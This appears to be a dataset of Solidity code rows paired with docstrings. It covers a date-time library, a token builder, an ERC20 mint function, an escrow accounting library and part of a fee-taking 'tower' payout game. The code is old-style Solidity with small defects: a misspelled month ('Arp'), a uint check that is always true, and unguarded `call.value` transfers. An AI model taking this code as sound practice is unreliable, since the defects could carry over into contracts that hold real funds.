+ 367 * (_month - 2 - (_month - 14) / 12 * 12) / 12
- 3 * ((_year + 4900 + (_month - 14) / 12) / 100) / 4
- OFFSET19700101;
_days = uint(__days);
}
// ------------------------------------------------------------------------
// Calculate year/month/day from the number of days since 1970/01/01 using
// the date conversion algorithm from
// http://aa.usno.navy.mil/faq/docs/JD_Formula.php
// and adding the offset 2440588 so that 1970/01/01 is day 0
//
// int L = days + 68569 + offset
// int N = 4 * L / 146097
// L = L - (146097 * N + 3) / 4
// year = 4000 * (L + 1) / 1461001
// L = L - 1461 * year / 4 + 31
// month = 80 * L / 2447
// dd = L - 2447 * month / 80
// L = month / 11
// month = month + 2 - 12 * L
// year = 100 * (N - 49) + year + L
// ------------------------------------------------------------------------
function _daysToDate(uint _days) internal pure returns (uint year, uint month, uint day) {
int __days = int(_days);
int L = __days + 68569 + OFFSET19700101;
int N = 4 * L / 146097;
L = L - (146097 * N + 3) / 4;
int _year = 4000 * (L + 1) / 1461001;
L = L - 1461 * _year / 4 + 31;
int _month = 80 * L / 2447;
int _day = L - 2447 * _month / 80;
L = _month / 11;
_month = _month + 2 - 12 * L;
_year = 100 * (N - 49) + _year + L;
year = uint(_year);
month = uint(_month);
day = uint(_day);
}
function timestampFromDate(uint year, uint month, uint day) internal pure returns (uint timestamp) {
timestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY;
}
function timestampFromDateTime(uint year, uint month, uint day, uint hour, uint minute, uint second) internal pure returns (uint timestamp) {
timestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + hour * SECONDS_PER_HOUR + minute * SECONDS_PER_MINUTE + second;
}
function timestampToDate(uint timestamp) internal pure returns (uint year, uint month, uint day) {
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
}
function timestampToDateTime(uint timestamp) internal pure returns (uint year, uint month, uint day, uint hour, uint minute, uint second) {
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
uint secs = timestamp % SECONDS_PER_DAY;
hour = secs / SECONDS_PER_HOUR;
secs = secs % SECONDS_PER_HOUR;
minute = secs / SECONDS_PER_MINUTE;
second = secs % SECONDS_PER_MINUTE;
}
function isValidDate(uint year, uint month, uint day) internal pure returns (bool valid) {
if (year >= 1970 && month > 0 && month <= 12) {
uint daysInMonth = _getDaysInMonth(year, month);
if (day > 0 && day <= daysInMonth) {
valid = true;
}
}
}
function isValidDateTime(uint year, uint month, uint day, uint hour, uint minute, uint second) internal pure returns (bool valid) {
if (isValidDate(year, month, day)) {
if (hour < 24 && minute < 60 && second < 60) {
valid = true;
}
}
}
function isLeapYear(uint timestamp) internal pure returns (bool leapYear) {
(uint year,,) = _daysToDate(timestamp / SECONDS_PER_DAY);
leapYear = _isLeapYear(year);
}
function _isLeapYear(uint year) internal pure returns (bool leapYear) {
leapYear = ((year % 4 == 0) && (year % 100 != 0)) || (year % 400 == 0);
}
function isWeekDay(uint timestamp) internal pure returns (bool weekDay) {
weekDay = getDayOfWeek(timestamp) <= DOW_FRI;
}
function isWeekEnd(uint timestamp) internal pure returns (bool weekEnd) {
weekEnd = getDayOfWeek(timestamp) >= DOW_SAT;
}
function getDaysInMonth(uint timestamp) internal pure returns (uint daysInMonth) {
(uint year, uint month,) = _daysToDate(timestamp / SECONDS_PER_DAY);
daysInMonth = _getDaysInMonth(year, month);
}
function _getDaysInMonth(uint year, uint month) internal pure returns (uint daysInMonth) {
if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) {
daysInMonth = 31;
} else if (month != 2) {
daysInMonth = 30;
} else {
daysInMonth = _isLeapYear(year) ? 29 : 28;
}
}
// 1 = Monday, 7 = Sunday
function getDayOfWeek(uint timestamp) internal pure returns (uint dayOfWeek) {
uint _days = timestamp / SECONDS_PER_DAY;
dayOfWeek = (_days + 3) % 7 + 1;
}
function getYear(uint timestamp) internal pure returns (uint year) {
(year,,) = _daysToDate(timestamp / SECONDS_PER_DAY);
}
function getMonth(uint timestamp) internal pure returns (uint month) {
(,month,) = _daysToDate(timestamp / SECONDS_PER_DAY);
}
function getDay(uint timestamp) internal pure returns (uint day) {
(,,day) = _daysToDate(timestamp / SECONDS_PER_DAY);
}
function getHour(uint timestamp) internal pure returns (uint hour) {
uint secs = timestamp % SECONDS_PER_DAY;
hour = secs / SECONDS_PER_HOUR;
}
function getMinute(uint timestamp) internal pure returns (uint minute) {
uint secs = timestamp % SECONDS_PER_HOUR;
minute = secs / SECONDS_PER_MINUTE;
}
function getSecond(uint timestamp) internal pure returns (uint second) {
second = timestamp % SECONDS_PER_MINUTE;
}
function addYears(uint timestamp, uint _years) internal pure returns (uint newTimestamp) {
(uint year, uint month, uint day) = _daysToDate(timestamp / SECONDS_PER_DAY);
year += _years;
uint daysInMonth = _getDaysInMonth(year, month);
if (day > daysInMonth) {
day = daysInMonth;
}
newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY;
require(newTimestamp >= timestamp);
}
function addMonths(uint timestamp, uint _months) internal pure returns (uint newTimestamp) {
(uint year, uint month, uint day) = _daysToDate(timestamp / SECONDS_PER_DAY);
month += _months;
year += (month - 1) / 12;
month = (month - 1) % 12 + 1;
uint daysInMonth = _getDaysInMonth(year, month);
if (day > daysInMonth) {
day = daysInMonth;
}
newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY;
require(newTimestamp >= timestamp);
}
function addDays(uint timestamp, uint _days) internal pure returns (uint newTimestamp) {
newTimestamp = timestamp + _days * SECONDS_PER_DAY;
require(newTimestamp >= timestamp);
}
function addHours(uint timestamp, uint _hours) internal pure returns (uint newTimestamp) {
newTimestamp = timestamp + _hours * SECONDS_PER_HOUR;
require(newTimestamp >= timestamp);
}
function addMinutes(uint timestamp, uint _minutes) internal pure returns (uint newTimestamp) {
newTimestamp = timestamp + _minutes * SECONDS_PER_MINUTE;
require(newTimestamp >= timestamp);
}
function addSeconds(uint timestamp, uint _seconds) internal pure returns (uint newTimestamp) {
newTimestamp = timestamp + _seconds;
require(newTimestamp >= timestamp);
}
function subYears(uint timestamp, uint _years) internal pure returns (uint newTimestamp) {
(uint year, uint month, uint day) = _daysToDate(timestamp / SECONDS_PER_DAY);
year -= _years;
uint daysInMonth = _getDaysInMonth(year, month);
if (day > daysInMonth) {
day = daysInMonth;
}
newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY;
require(newTimestamp <= timestamp);
}
function subMonths(uint timestamp, uint _months) internal pure returns (uint newTimestamp) {
(uint year, uint month, uint day) = _daysToDate(timestamp / SECONDS_PER_DAY);
uint yearMonth = year * 12 + (month - 1) - _months;
year = yearMonth / 12;
month = yearMonth % 12 + 1;
uint daysInMonth = _getDaysInMonth(year, month);
if (day > daysInMonth) {
day = daysInMonth;
}
newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY;
require(newTimestamp <= timestamp);
}
function subDays(uint timestamp, uint _days) internal pure returns (uint newTimestamp) {
newTimestamp = timestamp - _days * SECONDS_PER_DAY;
require(newTimestamp <= timestamp);
}
function subHours(uint timestamp, uint _hours) internal pure returns (uint newTimestamp) {
newTimestamp = timestamp - _hours * SECONDS_PER_HOUR;
require(newTimestamp <= timestamp);
}
function subMinutes(uint timestamp, uint _minutes) internal pure returns (uint newTimestamp) {
newTimestamp = timestamp - _minutes * SECONDS_PER_MINUTE;
require(newTimestamp <= timestamp);
}
function subSeconds(uint timestamp, uint _seconds) internal pure returns (uint newTimestamp) {
newTimestamp = timestamp - _seconds;
require(newTimestamp <= timestamp);
}
function diffYears(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _years) {
require(fromTimestamp <= toTimestamp);
(uint fromYear,,) = _daysToDate(fromTimestamp / SECONDS_PER_DAY);
(uint toYear,,) = _daysToDate(toTimestamp / SECONDS_PER_DAY);
_years = toYear - fromYear;
}
function diffMonths(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _months) {
require(fromTimestamp <= toTimestamp);
(uint fromYear, uint fromMonth,) = _daysToDate(fromTimestamp / SECONDS_PER_DAY);
(uint toYear, uint toMonth,) = _daysToDate(toTimestamp / SECONDS_PER_DAY);
_months = toYear * 12 + toMonth - fromYear * 12 - fromMonth;
}
function diffDays(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _days) {
require(fromTimestamp <= toTimestamp);
_days = (toTimestamp - fromTimestamp) / SECONDS_PER_DAY;
}
function diffHours(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _hours) {
require(fromTimestamp <= toTimestamp);
_hours = (toTimestamp - fromTimestamp) / SECONDS_PER_HOUR;
}
function diffMinutes(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _minutes) {
require(fromTimestamp <= toTimestamp);
_minutes = (toTimestamp - fromTimestamp) / SECONDS_PER_MINUTE;
}
function diffSeconds(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _seconds) {
require(fromTimestamp <= toTimestamp);
_seconds = toTimestamp - fromTimestamp;
}
}
// File: contracts/tokens/TokenBuilder.sol
// "SPDX-License-Identifier: GNU General Public License v3.0"
pragma solidity >=0.4.21 <0.7.0;
contract TokenBuilder is ITokenBuilder{
string public constant PRIMARY_TOKEN_NAME_POSTFIX = " PRIMARY TOKEN";
string public constant COMPLEMENT_TOKEN_NAME_POSTFIX = " COMPLEMENT TOKEN";
string public constant PRIMARY_TOKEN_SYMBOL_POSTFIX = "-P";
string public constant COMPLEMENT_TOKEN_SYMBOL_POSTFIX = "-C";
uint8 public constant DECIMALS_DEFAULT = 18;
event DerivativeTokensCreated(address primaryTokenAddress, address complementTokenAddress);
function isTokenBuilder() external pure override returns(bool) {
return true;
}
function buildTokens(IDerivativeSpecification _derivativeSpecification, uint _settlement, address _collateralToken) external override returns(IERC20MintedBurnable, IERC20MintedBurnable) {
uint year;
uint month;
uint day;
(year, month, day) = BokkyPooBahsDateTimeLibrary.timestampToDate(_settlement);
string memory settlementDate = concat(uint2str(day), concat(getMonthShortName(month), uint2str(getCenturyYears(year))));
uint8 decimals = IERC20Metadata(_collateralToken).decimals();
if( decimals == 0 ) {
decimals = DECIMALS_DEFAULT;
}
address primaryToken = address(new ERC20PresetMinter(
concat(_derivativeSpecification.name(), concat(" ", concat(settlementDate, PRIMARY_TOKEN_NAME_POSTFIX))),
concat(_derivativeSpecification.symbol(), concat("-", concat(settlementDate, PRIMARY_TOKEN_SYMBOL_POSTFIX))),
msg.sender,
decimals));
address complementToken = address(new ERC20PresetMinter(
concat(_derivativeSpecification.name(), concat(" ", concat(settlementDate, COMPLEMENT_TOKEN_NAME_POSTFIX))),
concat(_derivativeSpecification.symbol(), concat("-", concat(settlementDate, COMPLEMENT_TOKEN_SYMBOL_POSTFIX))),
msg.sender,
decimals));
emit DerivativeTokensCreated(primaryToken, complementToken);
return (IERC20MintedBurnable(primaryToken), IERC20MintedBurnable(complementToken));
}
function getCenturyYears(uint _year) internal pure returns(uint) {
return _year - (_year / 100 ) * 100;
}
function concat(string memory _a, string memory _b) internal pure returns(string memory) {
return string(abi.encodePacked(bytes(_a), bytes(_b)));
}
function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
if (_i == 0) {
return "0";
}
uint j = _i;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (_i != 0) {
bstr[k--] = byte(uint8(48 + _i % 10));
_i /= 10;
}
return string(bstr);
}
function getMonthShortName(uint _month) internal pure returns (string memory) {
if (_month == 1) {
return "Jan";
}
if (_month == 2) {
return "Feb";
}
if (_month == 3) {
return "Mar";
}
if (_month == 4) {
return "Arp";
}
if (_month == 5) {
return "May";
}
if (_month == 6) {
return "Jun";
}
if (_month == 7) {
return "Jul";
}
if (_month == 8) {
return "Aug";
}
if (_month == 9) {
return "Sep";
}
if (_month == 10) {
return "Oct";
}
if (_month == 11) {
return "Nov";
}
if (_month == 12) {
return "Dec";
}
return "NaN";
}
}
|
Creates `amount` new tokens for `to`. See {ERC20-_mint}. Requirements: - the caller must have the `MINTER_ROLE`./
|
function mint(address to, uint256 amount) public {
require(hasRole(MINTER_ROLE, _msgSender()), "ERC20PresetMinter: must have minter role to mint");
_mint(to, amount);
}
| 36,192 |
pragma solidity ^0.4.11;
import './SafeMath.sol';
import './Owned.sol';
/* A library that manages all funds for buyer, seller, and owner roles. */
library AccountLib {
/*************************************************
* Members
*************************************************/
struct Data {
// the purchaser of the portfolio who can settle and rebalance at any time
address buyer;
// the seller who earns fees for putting up collateral
address seller;
// the smart contract owner who earns fees for infrastructure and market making
address owner;
// a mapping to keep track of all accountBalances
mapping (address => uint) accountBalances;
// the time that the prism became Accepted
// this serves as the starting time for the pro-rated daily commission
uint startTime;
// the time that the prism became settled
// this serves as the ending time for the pro-rated daily commission
uint endTime;
// the initial fee to the seller that can be immediately dailysionTransferred after the prism becomes Accepted
uint initialCommission;
// the amount of ETH that is paid daily to the seller. It can be withdrawn at a pro-rated rate at any time.
// NOTE: This is given a fixed amount of ETH here, but is proposed to the Prism as a % of principal.
uint dailyCommission;
// keep track of how much the seller has dailysionTransferred so prevent repeat withdrawals during the Accepted state
uint dailyCommissionTransferred;
}
/** Sets the buyer, ensuring that funds are transferred internally to the new buyer address. */
function setBuyer(Data storage self, address _buyer) internal {
// must use buyerFunds() and sellerFunds() instead of accountBalances directly so that dailyCommission is updated first
transfer(self, self.buyer, _buyer, buyerFunds(self));
self.buyer = _buyer;
}
/** Sets the seller, ensuring that funds are transferred internally to the new seller address. */
function setSeller(Data storage self, address _seller) internal {
// must use sellerFunds() instead of accountBalances directly so that dailyCommission is updated first
transfer(self, self.seller, _seller, sellerFunds(self));
self.seller = _seller;
}
/** Sets the owner, ensuring that funds are transferred internally to the new owner address. */
function setOwner(Data storage self, address _owner) internal {
// must use sellerFunds() instead of accountBalances directly so that dailyCommission is updated first
transfer(self, self.owner, _owner, ownerFunds(self));
self.owner = _owner;
}
/** Withdraws the given amout of buyer funds to the given address. */
function buyerWithdraw(Data storage self, address to, uint amount) internal {
withdrawFrom(self, self.buyer, to, amount);
}
/** Withdraw available seller funds. If Accepted, withdraws initial commission and a pro-rated amount of daily commission. If Settled, withdraws collateral. */
function sellerWithdraw(Data storage self, address to, uint amount) internal {
withdrawFrom(self, self.seller, to, amount);
}
/** Withdraws all fees to owner account */
function ownerWithdraw(Data storage self, address to, uint amount) internal {
withdrawFrom(self, self.owner, to, amount);
}
/** Withdraws from the balance of an account and sends them to the given address. */
function withdrawFrom(Data storage self, address from, address to, uint amount) internal {
if(amount > self.accountBalances[from]) revert();
// funds subtracted first to prevent re-entry
self.accountBalances[from] = SafeMath.subtract(self.accountBalances[from], amount);
if(!to.call.value(amount)()) revert();
}
/** Withdraws the given amout of buyer funds to the given function call.Data storage self, */
function buyerWithdrawCall(Data storage self, address to, uint amount, bytes4 methodId) internal {
withdrawCall(self, self.buyer, to, amount, methodId);
}
/** Withdraws from the balance of an account and sends them with a given function call. */
function withdrawCall(Data storage self, address from, address to, uint amount, bytes4 methodId) internal {
if(amount > self.accountBalances[from]) revert();
// funds subtracted first to prevent re-entry
self.accountBalances[from] = SafeMath.subtract(self.accountBalances[from], amount);
if(!to.call.value(amount)(methodId)) revert();
}
/** Withdraw all funds directly. Does not adjust accountBalances.
* WARNING: Only to be used as override.
*/
function withdrawAll(Data storage /*self*/, address to) internal {
if(!to.call.value(this.balance)()) revert();
}
/** Transfers the given amount from the sender to the specified receiver. */
function transfer(Data storage self, address from, address to, uint amount) internal {
if(amount > self.accountBalances[from]) revert();
self.accountBalances[from] = SafeMath.subtract(self.accountBalances[from], amount);
self.accountBalances[to] = SafeMath.add(self.accountBalances[to], amount);
}
/** Transfers all available funds from the sender to the specified receiver. */
function transferAll(Data storage self, address from, address to) internal {
self.accountBalances[to] = SafeMath.add(self.accountBalances[to], self.accountBalances[from]);
self.accountBalances[from] = 0; // must come after since its used in the calculation above
}
/** Transfer the daily commission (pro-rated from startTime till now, or endTime if set) from the buyer to the seller. This is called automatically before any call to buyerFunds or sellerFunds to ensure that they use the most up-to-date balances. */
// NOTE: This is safe for anyone to call, since it just transfers any outstanding daily commission to the seller and is idempotent (can be called multiple times without additional effect)
function updateDailyCommission(Data storage self) internal {
// do not start paying commission until the start time
if(self.startTime == 0) return;
// get the life of the contract in days (simulated fixed point)
// use the current time if endTime is not set (i.e. Settled)
uint currentEndTime = self.endTime != 0 ? self.endTime : now;
uint lifespanSeconds = currentEndTime - self.startTime;
// calculate the amount that the seller can withdraw at this time, based on
// the amount of dailyCommission available minus the amount they previously withdrew
// NOTE: Do divisions first to avoid overflow
uint proratedCommission = SafeMath.subtract(SafeMath.multiply(self.dailyCommission / 1 days, lifespanSeconds), self.dailyCommissionTransferred);
// if there are not enough buyer funds, transfer the remaining
if (proratedCommission > self.accountBalances[self.buyer]) {
proratedCommission = self.accountBalances[self.buyer];
}
// keep track of how much the seller withdraws so they can't withdraw it more than once
self.dailyCommissionTransferred = SafeMath.add(self.dailyCommissionTransferred, proratedCommission);
// finally, transfer the prorated fee from the buyer to the seller
// NOTE: Assume that there will always be a prorated commission, so do not bother
// saving gas by checking proratedCommission > 0
transfer(self, self.buyer, self.seller, proratedCommission);
}
function depositTo(Data storage self, address to) internal {
self.accountBalances[to] += msg.value;
}
function depositToBuyer(Data storage self) internal {
self.accountBalances[self.buyer] += msg.value;
}
function depositToSeller(Data storage self) internal {
self.accountBalances[self.seller] += msg.value;
}
/** Accept porfolio proposal */
function acceptProposal(Data storage self, uint _startTime, uint _initialCommission, uint _dailyCommission) internal {
self.startTime = _startTime;
self.initialCommission = _initialCommission;
self.dailyCommission = _dailyCommission;
}
/** Track when account settles */
function setSettleEndTime(Data storage self, uint _endTime) internal {
self.endTime = _endTime;
}
/** Retrieves the buyer's account balance. Always use this getter instead of accessing account.accountBalances directly so that dailyCommission can be updated first. */
function buyerFunds(Data storage self) internal returns(uint) {
// must transfer pro-rated daily commission from the buyer to the seller to have most up-to-date balance
updateDailyCommission(self);
return self.accountBalances[self.buyer];
}
/** Retrieves the seller's account balance. Always use this getter instead of accessing account.accountBalances directly so that dailyCommission can be updated first. */
function sellerFunds(Data storage self) internal returns(uint) {
// must transfer pro-rated daily commission from the self.buyer to the seller to have most up-to-date balance
updateDailyCommission(self);
return self.accountBalances[self.seller];
}
/** Retrieves the owner's account balance. Always use this getter instead of accessing account.accountBalances directly so that dailyCommission can be updated first. */
function ownerFunds(Data storage self) internal returns(uint) {
// must transfer pro-rated daily commission from the self.buyer to the owner to have most up-to-date balance
updateDailyCommission(self);
return self.accountBalances[self.owner];
}
}
|
Sets the seller, ensuring that funds are transferred internally to the new seller address. / must use sellerFunds() instead of accountBalances directly so that dailyCommission is updated first
|
function setSeller(Data storage self, address _seller) internal {
transfer(self, self.seller, _seller, sellerFunds(self));
self.seller = _seller;
}
| 12,891,542 |
pragma solidity ^0.4.21;
// WARNING. The examples used in the formulas in the comments are the right formulas. However, they are not implemented like this to prevent overflows.
// The formulas in the contract do work the same as in the comments.
// NOTE: In part two of the contract, the DIVIDEND is explained.
// The dividend has a very easy implementation
// the price of the token rise when bought.
// when it's sold, price will decrease with 50% of rate of price bought
// if you sell, you will sell all tokens, and you have thus to buy in at higher price
// make sure you hold dividend for a long time.
contract RobinHood{
// Owner of this contract
address public owner;
// % of dev fee (can be set to 0,1,2,3,4,5 %);
uint8 devFee = 5;
// Users who want to create their own Robin Hood tower have to pay this. Can be reset to any value.
uint256 public amountToCreate = 20000000000000000;
// If this is false, you cannot use the contract. It can be opened by owner. After that, it cannot be closed anymore.
// If it is not open, you cannot interact with the contract.
bool public open = false;
event TowerCreated(uint256 id);
event TowerBought(uint256 id);
event TowerWon(uint256 id);
// Tower struct.
struct Tower{
//Timer in seconds: Base time for how long the new owner of the Tower has to wait until he can pay the amount.
uint32 timer;
// Timestamp: if this is 0, the contract does not run. If it runs it is set to the blockchain timestamp.
// If Timestamp + GetTime() > Blockchain timestamp the user will be paid out by the person who tries to buy the tower OR the user can decide to buy himself.
uint256 timestamp;
// Payout of the amount in percent. Ranges from 0 - 10000. Here 0 is 0 % and 10000 is 100%.
// This percentage of amount is paid to owner of tower.
// The other part of amount stays in Tower and can be collected by new people.
// However, if the amount is larger or equal than the minPrice, the Tower will immediately change the timestamp and move on.
// This means that the owner of the tower does not change, and can possibly collect the amount more times, if no one buys!!
uint16 payout;
// Price increasate, ranged again from 0-10000 (0 = 0%, 10000 = 100%), which decides how much the price increases if someone buys the tower.
// Ex: 5000 means that if the price is 1 ETH and if someone buys it, then the new price is 1 * (1 + 5000/10000) = 1.5 ETH.
uint16 priceIncrease; // priceIncrease in percent (same)
// Price, which can be checked to see how much the tower costs. Initially set to minPrice.
uint256 price;
// Amount which the Tower has to pay to the owner.
uint256 amount;
// Min Price: the minimum price in wei. Is also the setting to make the contract move on if someone has been paid (if amount >= minPrice);
// The minimum price is 1 szabo, maximum price is 1 ether. Both are included in the range.
uint256 minPrice;
// If you create a contract (not developer) then you are allowed to set a fee which you will get from people who buy your Tower.
// Ranged again from 0 -> 10000, but the maximum value is 2500 (25%) minimum is 0 (0%).
// Developer is not allowed to set creatorFee.
uint16 creatorFee;
// This is the amount, in wei, to set at which amount the time necessary to wait will reduce by half.
// If this is set to 0, this option is not allowed and the time delta is always the same.
// The minimum wait time is 5 minutes.
// The time to wait is calculated by: Tower.time * (Tower.amountToHalfTime / (Tower.amount + Tower.amountToHalfTime)
uint256 amountToHalfTime;
// If someone wins, the price is reduced by this. The new price is calculated by:
// Tower.price = max(Tower.price * Tower.minPriceAfterWin/10000, Tower.minPrice);
// Again, this value is ranged from 0 (0%) to 10000 (100%), all values allowed.
// Note that price will always be the minimum price or higher.
// If this is set to 0, price will always be set back to new price.
// If it is set to 10000, the price will NOT change!
uint16 minPriceAfterWin; // also in percent.
// Address of the creator of this tower. Used to pay creatorFee. Developer will not receive creatorFee because his creatorFee is automatically set to 0.
address creator;
// The current owner of this Tower. If he owns it for longer than getTime() of this Tower, he will receive his portion of the amount in the Tower.
address owner;
// You can add a quote to troll your fellow friends. Hopefully they won't buy your tower!
string quote;
}
// Mapping of all towers, indexed by ID. Starting at 0.
mapping(uint256 => Tower) public Towers;
// Take track of at what position we insert the Tower.
uint256 public next_tower_index=0;
// Check if contract is open.
// If value is send and contract is not open, it is reverted and you will get it back.
// Note that if contract is open it cannot be closed anymore.
modifier onlyOpen(){
if (open){
_;
}
else{
revert();
}
}
// Check if owner or if contract is open. This works for the AddTower function so owner (developer) can already add Towers.
// Note that if contract is open it cannot be closed anymore.
// If value is send it will be reverted if you are not owner or the contract is not open.
modifier onlyOpenOrOwner(){
if (open || msg.sender == owner){
_;
}
else{
revert();
}
}
// Functions only for owner (developer)
// If you send something to a owner function you will get your ethers back via revert.
modifier onlyOwner(){
if (msg.sender == owner){
_;
}
else{
revert();
}
}
// Constructor.
// Setups 4 towers.
function RobinHood() public{
// Log contract developer
owner = msg.sender;
// FIRST tower. (ID = 0)
// Robin Hood has to climb a tower!
// 10 minutes time range!
// 90% payout of the amount
// 30% price increase
// Timer halfs at 5 ETH. This is a lot, but realize that this high value is choosen because the timer cannot shrink to fast.
// At 5 ETH the limit is only 5 minutes, the minimum!
// Minimum price is 2 finney.
// Price reduces 90% (100% - 10%) after someone has won the tower!
// 0% creator fee.
AddTower(600, 9000, 3000, 5000000000000000000, 2000000000000000, 1000, 0);
// SECOND tower (ID = 1)
// Robin Hood has to search a house!
// 10 minutes tme range
// 50% payout
// 1.5% price increase
// Timer halfs at 2.5 ETH (also a lot, but at this time then timer is minimum (5 min))
// Price is 4 finney
// Price is reduced to 4 finney if won
// 0% fee
AddTower(600, 5000,150 , 2500000000000000000, 4000000000000000, 0, 0);
// THIRD tower. (ID = 2)
// Robin Hood has to explore a forest!
// 1 hour time range!
// 50% payout of the amount
// 10% price increase
// Timer halfs at 1 ETH.
// Minimum price is 5 finney.
// Price reduces 50% (100% - 50%) after someone has won the tower!
// 0% creator fee.
AddTower(3600, 5000, 1000, (1000000000000000000), 5000000000000000, 5000, 0);
// FOURTH tower. (ID = 3)
// Robin Hood has to cross a sea to an island!
// 1 day time range!
// 75% payout of the amount
// 20% price increase
// Timer halfs at 2 ETH.
// Minimum price is 10 finney.
// Price reduces 75% (100% - 25%) after someone has won the tower!
// 0% creator fee.
AddTower(86400, 7500, 2000, (2000000000000000000), 10000000000000000, 2500, 0);
// FIFTH tower (ID = 4)
// Robin Hood has to fly with a rocket to a nearby asteroid!
// 1 week time range!
// 75% payout of the amount
// 25% price increase
// Timer halfs at 2.5 ETH.
// Minimum price is 50 finney.
// Price reduces 100% (100% - 0%) after someone has won the tower!
// 0% creator fee.
AddTower(604800, 7500, 2500, (2500000000000000000), 50000000000000000, 0, 0);
}
// Developer (owner) can open game
// Open can only be set true once, can never be set false again.
function OpenGame() public onlyOwner{
open = true;
}
// Developer can change fee.
// DevFee is only a simple int, so can be 0,1,2,3,4,5
// Fee has to be less or equal to 5, otherwise it is reverted.
function ChangeFee(uint8 _fee) public onlyOwner{
require(_fee <= 5);
devFee = _fee;
}
// Developer change amount price to add tower.
function ChangeAmountPrice(uint256 _newPrice) public onlyOwner{
amountToCreate = _newPrice;
}
// Add Tower. Only possible if you are developer OR if contract is open.
// If you want to buy a tower, you have to pay amountToCreate (= wei) to developer.
// The default value is 0.02 ETH.
// You can check the price (in wei) either on site or by reading the contract on etherscan.
// _timer: Timer in seconds for how long someone has to wait before he wins the tower. This is constant and will not be changed.
// If you set _amountToHalfTime to nonzero, getTimer will reduce less amounts (minimum 300 seconds, maximum _timer) from the formula Tower.time * (Tower.amountToHalfTime / (Tower.amount + Tower.amountToHalfTime)
// _timer has to be between 300 seconds ( 5 minutes) and maximally 366 days (366*24*60*60) (which is maximally one year);
//_payout: number between 0-10000, is a pecent: 0% = 0, 100% = 10000. Sets how much percentage of the Tower.amount is paid to Tower.owner if he wins.
// The rest of the amount of that tower which stays over will be kept inside the tower, up for a new round.
// If someone wins and amount is more than the minPrice, timestamp is set to the blockchain timer and new round is started without changing the owner of the Tower!
// _priceIncrease: number between 0-10000, is a pecent: 0% = 0, 100% = 10000. Sets how much percentage the price will increase. Note that "100%" is always added.
// If you set it at 5000 (which is 50%) then the total increase of price is 150%. So if someone buys tower for price at 1 ETH, the new price is then 1.5 ETH.
// _amountToHalfTime: number of Wei which sets how much Wei you need in order to reduce the time necessary to hold tower to win for 50%.
// Formula used is Tower.time * (Tower.amountToHalfTime / (Tower.amount + Tower.amountToHalfTime) to calculate the time necessary.
// If you set 0, then this formula is not used and Tower.time is always returned.
// Due to overflows the minimum amount (which is reasonable) is still 1/1000 finney.
// Do not make this number extremely high.
// _minPrice: amount of Wei which the starting price of the Tower is. Minimum is 1/1000 finney, max is 1 ETH.
// This is also the check value to see if the round moves on after someone has won. If amount >= minPrice then the timestamp will be upgraded and a new round will start
// Of course that is after paying the owner of this tower. The owner of the tower does not change. He can win multiple times, in theory.
// _minPriceAfterWin: number between 0-10000, is a pecent: 0% = 0, 100% = 10000. After someone wins, the new price of the game is calculated.
// This is done by doing Tower.price * (Tower.minPriceAfterWin) / 10000;
// If Tower.price is now less than Tower.minPrice then the Tower.price will be set to Tower.minPrice.
// _creatorFee: number between 0-10000, is a pecent: 0% = 0, 100% = 10000. Maximum is 2500 (25%), with 2500 included.
// If you create a tower, you can set this value. If people pay the tower, then this percentage of the price is taken and is sent to you.
// The rest, after subtracting the dev fee, will be put into Tower.amount.
function AddTower(uint32 _timer, uint16 _payout, uint16 _priceIncrease, uint256 _amountToHalfTime, uint256 _minPrice, uint16 _minPriceAfterWin, uint16 _creatorFee) public payable onlyOpenOrOwner returns (uint256) {
require (_timer >= 300); // Need at least 5 minutes
require (_timer <= 31622400);
require (_payout >= 0 && _payout <= 10000);
require (_priceIncrease >= 0 && _priceIncrease <= 10000);
require (_minPriceAfterWin >= 0 && _minPriceAfterWin <= 10000);
//amount to half time can be everything, but has to be 0 OR 1000000000000 due to division rules
require(_amountToHalfTime == 0 || _amountToHalfTime >= 1000000000000);
require(_creatorFee >= 0 && _creatorFee <= 2500);
require(_minPrice >= (1 szabo) && _minPrice <= (1 ether));
if (msg.sender == owner){
// If owner make sure creator fee is 0.
_creatorFee = 0;
if (msg.value > 0){
owner.transfer(msg.value);
}
}
else{
if (msg.value >= amountToCreate){
uint256 toDiv = (mul(amountToCreate, tokenDividend))/100;
uint256 left = sub(amountToCreate, toDiv);
owner.transfer(left);
addDividend(toDiv);
processBuyAmount(amountToCreate);
}
else{
revert(); // not enough ETH send.
}
uint256 diff = sub(msg.value, amountToCreate);
// If you send to much, you will get rest back.
// Might be case if amountToCreate is transferred and this is not seen.
if (diff >= 0){
msg.sender.transfer(diff);
}
}
// Check latest values.
// Create tower.
var NewTower = Tower(_timer, 0, _payout, _priceIncrease, _minPrice, 0, _minPrice, _creatorFee, _amountToHalfTime, _minPriceAfterWin, msg.sender, msg.sender, "");
// Insert this into array.
Towers[next_tower_index] = NewTower;
// Emit TowerCreated event.
emit TowerCreated(next_tower_index);
// Upgrade index for next tower.
next_tower_index = add(next_tower_index, 1);
return (next_tower_index - 1);
}
// getTimer of TowerID to see how much time (in seconds) you need to win that tower.
// only works if contract is open.
// id = tower id (note that "first tower" has ID 0 into the mapping)
function getTimer(uint256 _id) public onlyOpen returns (uint256) {
require(_id < next_tower_index);
var UsedTower = Towers[_id];
//unsigned long long int pr = totalPriceHalf/((total)/1000000000000+ totalPriceHalf/1000000000000);
// No half time? Return tower.
if (UsedTower.amountToHalfTime == 0){
return UsedTower.timer;
}
uint256 var2 = UsedTower.amountToHalfTime;
